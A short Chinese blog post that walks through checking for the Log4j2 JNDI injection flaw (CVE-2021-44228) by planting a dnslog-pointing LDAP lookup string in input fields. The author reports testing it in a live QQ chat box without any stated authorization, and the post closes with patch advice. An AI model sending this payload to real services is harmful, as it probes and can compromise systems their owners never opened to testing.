验证 log4j2 漏洞(JNDI 注入 CVE-2021-44228)

本文仅供学习使用,切勿用于违法犯罪。

本文尝试利用该漏洞使远程服务器请求 dnslog 中随机生成的网址,并验证执行结果。

也希望各家平台可以尽快修复此漏洞。

 

漏洞影响范围

2.0 <= Apache log4j <= 2.14.1

 

验证方式

获取随机子域名

进入 dnslog 网站,获取一个随机子域名,如下图:


img

 

构造特殊字符串

使用获取的随机子域名构造如下字符串。

${jndi:ldap://317g7w.dnslog.cn/exp}

 

在候选程序中注入该字符串

可注入位置例如网站搜索框、登录框、聊天框等。

本文于 2021.12.10 20:55:05 尝试在 QQ 聊天框中输入该字符串。


img

 

刷新请求日志

如下图,可以看到有一台服务器请求了随机生成的子域名,且确定该 IP 属于腾讯云,因此可以认为 QQ 中目前存在这一远程代码执行漏洞。


img


img

 

修复建议

因为本人并未从事安全方面的工作,因此此建议搬运并总结于其他大佬的文章。

  1. 升级 log4j 至 2.14.1 以上,例如 2.15.0-rc2 及以上(听说 rc1 并不安全,原因需自行搜索)
  2. 对于 2.10 及以上的版本,考虑添加参数 -Dlog4j2.formatMsgNoLookups=true,详情可见 org.apache.logging.log4j.core.pattern.MessagePatternConverter.format

 

参考链接


我想对千千说~

11 只已被捕捉